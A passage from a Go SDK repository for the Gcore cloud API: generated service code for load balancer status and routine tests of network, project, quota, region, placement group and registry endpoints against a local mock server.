| } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.LoadBalancers.Pools.Members.Add( 30 | context.TODO(), 31 | "pool_id", 32 | cloud.LoadBalancerPoolMemberAddParams{ 33 | ProjectID: gcore.Int(0), 34 | RegionID: gcore.Int(0), 35 | Address: "192.168.40.33", 36 | ProtocolPort: 80, 37 | AdminStateUp: gcore.Bool(false), 38 | InstanceID: gcore.String("a7e7e8d6-0bf7-4ac9-8170-831b47ee2ba9"), 39 | MonitorAddress: gcore.String("monitor_address"), 40 | MonitorPort: gcore.Int(0), 41 | SubnetID: gcore.String("32283b0b-b560-4690-810c-f672cbb2e28d"), 42 | Weight: gcore.Int(1), 43 | }, 44 | ) 45 | if err != nil { 46 | var apierr *gcore.Error 47 | if errors.As(err, &apierr) { 48 | t.Log(string(apierr.DumpRequest(true))) 49 | } 50 | t.Fatalf("err should be nil: %s", err.Error()) 51 | } 52 | } 53 | 54 | func TestLoadBalancerPoolMemberRemove(t *testing.T) { 55 | baseURL := "http://localhost:4010" 56 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 57 | baseURL = envURL 58 | } 59 | if !testutil.CheckTestServer(t, baseURL) { 60 | return 61 | } 62 | client := gcore.NewClient( 63 | option.WithBaseURL(baseURL), 64 | option.WithAPIKey("My API Key"), 65 | ) 66 | _, err := client.Cloud.LoadBalancers.Pools.Members.Remove( 67 | context.TODO(), 68 | "member_id", 69 | cloud.LoadBalancerPoolMemberRemoveParams{ 70 | ProjectID: gcore.Int(0), 71 | RegionID: gcore.Int(0), 72 | PoolID: "pool_id", 73 | }, 74 | ) 75 | if err != nil { 76 | var apierr *gcore.Error 77 | if errors.As(err, &apierr) { 78 | t.Log(string(apierr.DumpRequest(true))) 79 | } 80 | t.Fatalf("err should be nil: %s", err.Error()) 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /cloud/loadbalancerstatus.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "fmt" 9 | "net/http" 10 | 11 | "github.com/stridentmare/gcore-go/internal/requestconfig" 12 | "github.com/stridentmare/gcore-go/option" 13 | "github.com/stridentmare/gcore-go/packages/param" 14 | ) 15 | 16 | // LoadBalancerStatusService contains methods and other services that help with 17 | // interacting with the gcore API. 18 | // 19 | // Note, unlike clients, this service does not read variables from the environment 20 | // automatically. You should not instantiate this service directly, and instead use 21 | // the [NewLoadBalancerStatusService] method instead. 22 | type LoadBalancerStatusService struct { 23 | Options []option.RequestOption 24 | } 25 | 26 | // NewLoadBalancerStatusService generates a new service that applies the given 27 | // options to each request. These options are applied after the parent client's 28 | // options (if there is one), and before any request-specific options. 29 | func NewLoadBalancerStatusService(opts ...option.RequestOption) (r LoadBalancerStatusService) { 30 | r = LoadBalancerStatusService{} 31 | r.Options = opts 32 | return 33 | } 34 | 35 | // List load balancers statuses 36 | func (r *LoadBalancerStatusService) List(ctx context.Context, query LoadBalancerStatusListParams, opts ...option.RequestOption) (res *LoadBalancerStatusList, err error) { 37 | opts = append(r.Options[:], opts...) 38 | precfg, err := requestconfig.PreRequestOptions(opts...) 39 | if err != nil { 40 | return 41 | } 42 | requestconfig.UseDefaultParam(&query.ProjectID, precfg.CloudProjectID) 43 | requestconfig.UseDefaultParam(&query.RegionID, precfg.CloudRegionID) 44 | if !query.ProjectID.Valid() { 45 | err = errors.New("missing required project_id parameter") 46 | return 47 | } 48 | if !query.RegionID.Valid() { 49 | err = errors.New("missing required region_id parameter") 50 | return 51 | } 52 | path := fmt.Sprintf("cloud/v1/loadbalancers/%v/%v/status", query.ProjectID.Value, query.RegionID.Value) 53 | err = requestconfig.ExecuteNewRequest(ctx, http.MethodGet, path, nil, &res, opts...) 54 | return 55 | } 56 | 57 | // Get load balancer status 58 | func (r *LoadBalancerStatusService) Get(ctx context.Context, loadbalancerID string, query LoadBalancerStatusGetParams, opts ...option.RequestOption) (res *LoadBalancerStatus, err error) { 59 | opts = append(r.Options[:], opts...) 60 | precfg, err := requestconfig.PreRequestOptions(opts...) 61 | if err != nil { 62 | return 63 | } 64 | requestconfig.UseDefaultParam(&query.ProjectID, precfg.CloudProjectID) 65 | requestconfig.UseDefaultParam(&query.RegionID, precfg.CloudRegionID) 66 | if !query.ProjectID.Valid() { 67 | err = errors.New("missing required project_id parameter") 68 | return 69 | } 70 | if !query.RegionID.Valid() { 71 | err = errors.New("missing required region_id parameter") 72 | return 73 | } 74 | if loadbalancerID == "" { 75 | err = errors.New("missing required loadbalancer_id parameter") 76 | return 77 | } 78 | path := fmt.Sprintf("cloud/v1/loadbalancers/%v/%v/%s/status", query.ProjectID.Value, query.RegionID.Value, loadbalancerID) 79 | err = requestconfig.ExecuteNewRequest(ctx, http.MethodGet, path, nil, &res, opts...) 80 | return 81 | } 82 | 83 | type LoadBalancerStatusListParams struct { 84 | ProjectID param.Opt[int64] `path:"project_id,omitzero,required" json:"-"` 85 | RegionID param.Opt[int64] `path:"region_id,omitzero,required" json:"-"` 86 | paramObj 87 | } 88 | 89 | type LoadBalancerStatusGetParams struct { 90 | ProjectID param.Opt[int64] `path:"project_id,omitzero,required" json:"-"` 91 | RegionID param.Opt[int64] `path:"region_id,omitzero,required" json:"-"` 92 | paramObj 93 | } 94 | -------------------------------------------------------------------------------- /cloud/loadbalancerstatus_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestLoadBalancerStatusList(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.LoadBalancers.Statuses.List(context.TODO(), cloud.LoadBalancerStatusListParams{ 30 | ProjectID: gcore.Int(0), 31 | RegionID: gcore.Int(0), 32 | }) 33 | if err != nil { 34 | var apierr *gcore.Error 35 | if errors.As(err, &apierr) { 36 | t.Log(string(apierr.DumpRequest(true))) 37 | } 38 | t.Fatalf("err should be nil: %s", err.Error()) 39 | } 40 | } 41 | 42 | func TestLoadBalancerStatusGet(t *testing.T) { 43 | baseURL := "http://localhost:4010" 44 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 45 | baseURL = envURL 46 | } 47 | if !testutil.CheckTestServer(t, baseURL) { 48 | return 49 | } 50 | client := gcore.NewClient( 51 | option.WithBaseURL(baseURL), 52 | option.WithAPIKey("My API Key"), 53 | ) 54 | _, err := client.Cloud.LoadBalancers.Statuses.Get( 55 | context.TODO(), 56 | "loadbalancer_id", 57 | cloud.LoadBalancerStatusGetParams{ 58 | ProjectID: gcore.Int(0), 59 | RegionID: gcore.Int(0), 60 | }, 61 | ) 62 | if err != nil { 63 | var apierr *gcore.Error 64 | if errors.As(err, &apierr) { 65 | t.Log(string(apierr.DumpRequest(true))) 66 | } 67 | t.Fatalf("err should be nil: %s", err.Error()) 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /cloud/network_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestNetworkNewWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Networks.New(context.TODO(), cloud.NetworkNewParams{ 30 | ProjectID: gcore.Int(1), 31 | RegionID: gcore.Int(1), 32 | Name: "my network", 33 | CreateRouter: gcore.Bool(true), 34 | Tags: cloud.TagUpdateMap{ 35 | "foo": "my-tag-value", 36 | }, 37 | Type: cloud.NetworkNewParamsTypeVxlan, 38 | }) 39 | if err != nil { 40 | var apierr *gcore.Error 41 | if errors.As(err, &apierr) { 42 | t.Log(string(apierr.DumpRequest(true))) 43 | } 44 | t.Fatalf("err should be nil: %s", err.Error()) 45 | } 46 | } 47 | 48 | func TestNetworkUpdate(t *testing.T) { 49 | baseURL := "http://localhost:4010" 50 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 51 | baseURL = envURL 52 | } 53 | if !testutil.CheckTestServer(t, baseURL) { 54 | return 55 | } 56 | client := gcore.NewClient( 57 | option.WithBaseURL(baseURL), 58 | option.WithAPIKey("My API Key"), 59 | ) 60 | _, err := client.Cloud.Networks.Update( 61 | context.TODO(), 62 | "b39792c3-3160-4356-912e-ba396c95cdcf", 63 | cloud.NetworkUpdateParams{ 64 | ProjectID: gcore.Int(1), 65 | RegionID: gcore.Int(1), 66 | Name: "some_name", 67 | }, 68 | ) 69 | if err != nil { 70 | var apierr *gcore.Error 71 | if errors.As(err, &apierr) { 72 | t.Log(string(apierr.DumpRequest(true))) 73 | } 74 | t.Fatalf("err should be nil: %s", err.Error()) 75 | } 76 | } 77 | 78 | func TestNetworkListWithOptionalParams(t *testing.T) { 79 | baseURL := "http://localhost:4010" 80 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 81 | baseURL = envURL 82 | } 83 | if !testutil.CheckTestServer(t, baseURL) { 84 | return 85 | } 86 | client := gcore.NewClient( 87 | option.WithBaseURL(baseURL), 88 | option.WithAPIKey("My API Key"), 89 | ) 90 | _, err := client.Cloud.Networks.List(context.TODO(), cloud.NetworkListParams{ 91 | ProjectID: gcore.Int(1), 92 | RegionID: gcore.Int(1), 93 | Limit: gcore.Int(1000), 94 | Offset: gcore.Int(0), 95 | OrderBy: cloud.NetworkListParamsOrderByCreatedAtDesc, 96 | TagKey: []string{"key1", "key2"}, 97 | TagKeyValue: gcore.String("tag_key_value"), 98 | }) 99 | if err != nil { 100 | var apierr *gcore.Error 101 | if errors.As(err, &apierr) { 102 | t.Log(string(apierr.DumpRequest(true))) 103 | } 104 | t.Fatalf("err should be nil: %s", err.Error()) 105 | } 106 | } 107 | 108 | func TestNetworkDelete(t *testing.T) { 109 | baseURL := "http://localhost:4010" 110 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 111 | baseURL = envURL 112 | } 113 | if !testutil.CheckTestServer(t, baseURL) { 114 | return 115 | } 116 | client := gcore.NewClient( 117 | option.WithBaseURL(baseURL), 118 | option.WithAPIKey("My API Key"), 119 | ) 120 | _, err := client.Cloud.Networks.Delete( 121 | context.TODO(), 122 | "b39792c3-3160-4356-912e-ba396c95cdcf", 123 | cloud.NetworkDeleteParams{ 124 | ProjectID: gcore.Int(1), 125 | RegionID: gcore.Int(1), 126 | }, 127 | ) 128 | if err != nil { 129 | var apierr *gcore.Error 130 | if errors.As(err, &apierr) { 131 | t.Log(string(apierr.DumpRequest(true))) 132 | } 133 | t.Fatalf("err should be nil: %s", err.Error()) 134 | } 135 | } 136 | 137 | func TestNetworkGet(t *testing.T) { 138 | baseURL := "http://localhost:4010" 139 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 140 | baseURL = envURL 141 | } 142 | if !testutil.CheckTestServer(t, baseURL) { 143 | return 144 | } 145 | client := gcore.NewClient( 146 | option.WithBaseURL(baseURL), 147 | option.WithAPIKey("My API Key"), 148 | ) 149 | _, err := client.Cloud.Networks.Get( 150 | context.TODO(), 151 | "b39792c3-3160-4356-912e-ba396c95cdcf", 152 | cloud.NetworkGetParams{ 153 | ProjectID: gcore.Int(1), 154 | RegionID: gcore.Int(1), 155 | }, 156 | ) 157 | if err != nil { 158 | var apierr *gcore.Error 159 | if errors.As(err, &apierr) { 160 | t.Log(string(apierr.DumpRequest(true))) 161 | } 162 | t.Fatalf("err should be nil: %s", err.Error()) 163 | } 164 | } 165 | -------------------------------------------------------------------------------- /cloud/placementgroup_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestPlacementGroupNew(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.PlacementGroups.New(context.TODO(), cloud.PlacementGroupNewParams{ 30 | ProjectID: gcore.Int(0), 31 | RegionID: gcore.Int(0), 32 | Name: "my-server-group", 33 | Policy: cloud.PlacementGroupNewParamsPolicyAntiAffinity, 34 | }) 35 | if err != nil { 36 | var apierr *gcore.Error 37 | if errors.As(err, &apierr) { 38 | t.Log(string(apierr.DumpRequest(true))) 39 | } 40 | t.Fatalf("err should be nil: %s", err.Error()) 41 | } 42 | } 43 | 44 | func TestPlacementGroupList(t *testing.T) { 45 | baseURL := "http://localhost:4010" 46 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 47 | baseURL = envURL 48 | } 49 | if !testutil.CheckTestServer(t, baseURL) { 50 | return 51 | } 52 | client := gcore.NewClient( 53 | option.WithBaseURL(baseURL), 54 | option.WithAPIKey("My API Key"), 55 | ) 56 | _, err := client.Cloud.PlacementGroups.List(context.TODO(), cloud.PlacementGroupListParams{ 57 | ProjectID: gcore.Int(0), 58 | RegionID: gcore.Int(0), 59 | }) 60 | if err != nil { 61 | var apierr *gcore.Error 62 | if errors.As(err, &apierr) { 63 | t.Log(string(apierr.DumpRequest(true))) 64 | } 65 | t.Fatalf("err should be nil: %s", err.Error()) 66 | } 67 | } 68 | 69 | func TestPlacementGroupDelete(t *testing.T) { 70 | baseURL := "http://localhost:4010" 71 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 72 | baseURL = envURL 73 | } 74 | if !testutil.CheckTestServer(t, baseURL) { 75 | return 76 | } 77 | client := gcore.NewClient( 78 | option.WithBaseURL(baseURL), 79 | option.WithAPIKey("My API Key"), 80 | ) 81 | _, err := client.Cloud.PlacementGroups.Delete( 82 | context.TODO(), 83 | "group_id", 84 | cloud.PlacementGroupDeleteParams{ 85 | ProjectID: gcore.Int(0), 86 | RegionID: gcore.Int(0), 87 | }, 88 | ) 89 | if err != nil { 90 | var apierr *gcore.Error 91 | if errors.As(err, &apierr) { 92 | t.Log(string(apierr.DumpRequest(true))) 93 | } 94 | t.Fatalf("err should be nil: %s", err.Error()) 95 | } 96 | } 97 | 98 | func TestPlacementGroupGet(t *testing.T) { 99 | baseURL := "http://localhost:4010" 100 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 101 | baseURL = envURL 102 | } 103 | if !testutil.CheckTestServer(t, baseURL) { 104 | return 105 | } 106 | client := gcore.NewClient( 107 | option.WithBaseURL(baseURL), 108 | option.WithAPIKey("My API Key"), 109 | ) 110 | _, err := client.Cloud.PlacementGroups.Get( 111 | context.TODO(), 112 | "group_id", 113 | cloud.PlacementGroupGetParams{ 114 | ProjectID: gcore.Int(0), 115 | RegionID: gcore.Int(0), 116 | }, 117 | ) 118 | if err != nil { 119 | var apierr *gcore.Error 120 | if errors.As(err, &apierr) { 121 | t.Log(string(apierr.DumpRequest(true))) 122 | } 123 | t.Fatalf("err should be nil: %s", err.Error()) 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /cloud/project_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestProjectNewWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Projects.New(context.TODO(), cloud.ProjectNewParams{ 30 | Name: "New Project", 31 | ClientID: gcore.Int(3), 32 | Description: gcore.String("Project description"), 33 | State: gcore.String("ACTIVE"), 34 | }) 35 | if err != nil { 36 | var apierr *gcore.Error 37 | if errors.As(err, &apierr) { 38 | t.Log(string(apierr.DumpRequest(true))) 39 | } 40 | t.Fatalf("err should be nil: %s", err.Error()) 41 | } 42 | } 43 | 44 | func TestProjectListWithOptionalParams(t *testing.T) { 45 | baseURL := "http://localhost:4010" 46 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 47 | baseURL = envURL 48 | } 49 | if !testutil.CheckTestServer(t, baseURL) { 50 | return 51 | } 52 | client := gcore.NewClient( 53 | option.WithBaseURL(baseURL), 54 | option.WithAPIKey("My API Key"), 55 | ) 56 | _, err := client.Cloud.Projects.List(context.TODO(), cloud.ProjectListParams{ 57 | ClientID: gcore.Int(1), 58 | IncludeDeleted: gcore.Bool(false), 59 | Limit: gcore.Int(100), 60 | Name: gcore.String("my-project"), 61 | Offset: gcore.Int(0), 62 | OrderBy: cloud.ProjectListParamsOrderByNameDesc, 63 | }) 64 | if err != nil { 65 | var apierr *gcore.Error 66 | if errors.As(err, &apierr) { 67 | t.Log(string(apierr.DumpRequest(true))) 68 | } 69 | t.Fatalf("err should be nil: %s", err.Error()) 70 | } 71 | } 72 | 73 | func TestProjectDelete(t *testing.T) { 74 | baseURL := "http://localhost:4010" 75 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 76 | baseURL = envURL 77 | } 78 | if !testutil.CheckTestServer(t, baseURL) { 79 | return 80 | } 81 | client := gcore.NewClient( 82 | option.WithBaseURL(baseURL), 83 | option.WithAPIKey("My API Key"), 84 | ) 85 | _, err := client.Cloud.Projects.Delete(context.TODO(), cloud.ProjectDeleteParams{ 86 | ProjectID: gcore.Int(0), 87 | }) 88 | if err != nil { 89 | var apierr *gcore.Error 90 | if errors.As(err, &apierr) { 91 | t.Log(string(apierr.DumpRequest(true))) 92 | } 93 | t.Fatalf("err should be nil: %s", err.Error()) 94 | } 95 | } 96 | 97 | func TestProjectGet(t *testing.T) { 98 | baseURL := "http://localhost:4010" 99 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 100 | baseURL = envURL 101 | } 102 | if !testutil.CheckTestServer(t, baseURL) { 103 | return 104 | } 105 | client := gcore.NewClient( 106 | option.WithBaseURL(baseURL), 107 | option.WithAPIKey("My API Key"), 108 | ) 109 | _, err := client.Cloud.Projects.Get(context.TODO(), cloud.ProjectGetParams{ 110 | ProjectID: gcore.Int(0), 111 | }) 112 | if err != nil { 113 | var apierr *gcore.Error 114 | if errors.As(err, &apierr) { 115 | t.Log(string(apierr.DumpRequest(true))) 116 | } 117 | t.Fatalf("err should be nil: %s", err.Error()) 118 | } 119 | } 120 | 121 | func TestProjectReplaceWithOptionalParams(t *testing.T) { 122 | baseURL := "http://localhost:4010" 123 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 124 | baseURL = envURL 125 | } 126 | if !testutil.CheckTestServer(t, baseURL) { 127 | return 128 | } 129 | client := gcore.NewClient( 130 | option.WithBaseURL(baseURL), 131 | option.WithAPIKey("My API Key"), 132 | ) 133 | _, err := client.Cloud.Projects.Replace(context.TODO(), cloud.ProjectReplaceParams{ 134 | ProjectID: gcore.Int(0), 135 | Name: "New Project", 136 | Description: gcore.String("Project description"), 137 | }) 138 | if err != nil { 139 | var apierr *gcore.Error 140 | if errors.As(err, &apierr) { 141 | t.Log(string(apierr.DumpRequest(true))) 142 | } 143 | t.Fatalf("err should be nil: %s", err.Error()) 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /cloud/quota_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestQuotaGetAll(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Quotas.GetAll(context.TODO()) 30 | if err != nil { 31 | var apierr *gcore.Error 32 | if errors.As(err, &apierr) { 33 | t.Log(string(apierr.DumpRequest(true))) 34 | } 35 | t.Fatalf("err should be nil: %s", err.Error()) 36 | } 37 | } 38 | 39 | func TestQuotaGetByRegion(t *testing.T) { 40 | baseURL := "http://localhost:4010" 41 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 42 | baseURL = envURL 43 | } 44 | if !testutil.CheckTestServer(t, baseURL) { 45 | return 46 | } 47 | client := gcore.NewClient( 48 | option.WithBaseURL(baseURL), 49 | option.WithAPIKey("My API Key"), 50 | ) 51 | _, err := client.Cloud.Quotas.GetByRegion(context.TODO(), cloud.QuotaGetByRegionParams{ 52 | ClientID: 3, 53 | RegionID: gcore.Int(1), 54 | }) 55 | if err != nil { 56 | var apierr *gcore.Error 57 | if errors.As(err, &apierr) { 58 | t.Log(string(apierr.DumpRequest(true))) 59 | } 60 | t.Fatalf("err should be nil: %s", err.Error()) 61 | } 62 | } 63 | 64 | func TestQuotaGetGlobal(t *testing.T) { 65 | baseURL := "http://localhost:4010" 66 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 67 | baseURL = envURL 68 | } 69 | if !testutil.CheckTestServer(t, baseURL) { 70 | return 71 | } 72 | client := gcore.NewClient( 73 | option.WithBaseURL(baseURL), 74 | option.WithAPIKey("My API Key"), 75 | ) 76 | _, err := client.Cloud.Quotas.GetGlobal(context.TODO(), 3) 77 | if err != nil { 78 | var apierr *gcore.Error 79 | if errors.As(err, &apierr) { 80 | t.Log(string(apierr.DumpRequest(true))) 81 | } 82 | t.Fatalf("err should be nil: %s", err.Error()) 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /cloud/region_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestRegionListWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Regions.List(context.TODO(), cloud.RegionListParams{ 30 | Limit: gcore.Int(100), 31 | Offset: gcore.Int(0), 32 | OrderBy: cloud.RegionListParamsOrderByCreatedAtDesc, 33 | Product: cloud.RegionListParamsProductInference, 34 | ShowVolumeTypes: gcore.Bool(false), 35 | }) 36 | if err != nil { 37 | var apierr *gcore.Error 38 | if errors.As(err, &apierr) { 39 | t.Log(string(apierr.DumpRequest(true))) 40 | } 41 | t.Fatalf("err should be nil: %s", err.Error()) 42 | } 43 | } 44 | 45 | func TestRegionGetWithOptionalParams(t *testing.T) { 46 | baseURL := "http://localhost:4010" 47 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 48 | baseURL = envURL 49 | } 50 | if !testutil.CheckTestServer(t, baseURL) { 51 | return 52 | } 53 | client := gcore.NewClient( 54 | option.WithBaseURL(baseURL), 55 | option.WithAPIKey("My API Key"), 56 | ) 57 | _, err := client.Cloud.Regions.Get(context.TODO(), cloud.RegionGetParams{ 58 | RegionID: gcore.Int(11), 59 | ShowVolumeTypes: gcore.Bool(false), 60 | }) 61 | if err != nil { 62 | var apierr *gcore.Error 63 | if errors.As(err, &apierr) { 64 | t.Log(string(apierr.DumpRequest(true))) 65 | } 66 | t.Fatalf("err should be nil: %s", err.Error()) 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /cloud/registry_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestRegistryNewWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Registries.New(context.TODO(), cloud.RegistryNewParams{ 30 | ProjectID: gcore.Int(0), 31 | RegionID: gcore.Int(0), 32 | Name: "reg-home1", 33 | StorageLimit: gcore.Int(5), 34 | }) 35 | if err != nil { 36 | var apierr *gcore.Error 37 | if errors.As(err, &apierr) { 38 | t.Log(string(apierr.DumpRequest(true))) 39 | } 40 | t.Fatalf("err should be nil: %s", err.Error()) 41 | } 42 | } 43 | 44 | func TestRegistryList(t *testing.T) { 45 | baseURL := "http://localhost:4010" 46 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 47 | baseURL = envURL 48 | } 49 | if !testutil.CheckTestServer(t, baseURL) { 50 | return 51 | } 52 | client := gcore.NewClient( 53 | option.WithBaseURL(baseURL), 54 | option.WithAPIKey("My API Key"), 55 | ) 56 | _, err := client.Cloud.Registries.List(context.TODO(), cloud.RegistryListParams{ 57 | ProjectID: gcore.Int(0), 58 | RegionID: gcore.Int(0), 59 | }) 60 | if err != nil { 61 | var apierr *gcore.Error 62 | if errors.As(err, &apierr) { 63 | t.Log(string(apierr.DumpRequest(true))) 64 | } 65 | t.Fatalf("err should be nil: %s", err.Error()) 66 | } 67 | } 68 | 69 | func TestRegistryDelete(t *testing.T) { 70 | baseURL := "http://localhost:4010" 71 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 72 | baseURL = envURL 73 | } 74 | if !testutil.CheckTestServer(t, baseURL) { 75 | return 76 | } 77 | client := gcore.NewClient( 78 | option.WithBaseURL(baseURL), 79 | option.WithAPIKey("My API Key"), 80 | ) 81 | err := client.Cloud.Registries.Delete( 82 | context.TODO(), 83 | 0, 84 | cloud.RegistryDeleteParams{ 85 | ProjectID: gcore.Int(0), 86 | RegionID: gcore.Int(0), 87 | }, 88 | ) 89 | if err != nil { 90 | var apierr *gcore.Error 91 | if errors.As(err, &apierr) { 92 | t.Log(string(apierr.DumpRequest(true))) 93 | } 94 | t.Fatalf("err should be nil: %s", err.Error()) 95 | } 96 | } 97 | 98 | func TestRegistryGet(t *testing.T) { 99 | baseURL := "http://localhost:4010" 100 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 101 | baseURL = envURL 102 | } 103 | if !testutil.CheckTestServer(t, baseURL) { 104 | return 105 | } 106 | client := gcore.NewClient( 107 | option.WithBaseURL(baseURL), 108 | option.WithAPIKey("My API Key"), 109 | ) 110 | _, err := client.Cloud.Registries.Get( 111 | context.TODO(), 112 | 0, 113 | cloud.RegistryGetParams{ 114 | ProjectID: gcore.Int(0), 115 | RegionID: gcore.Int(0), 116 | }, 117 | 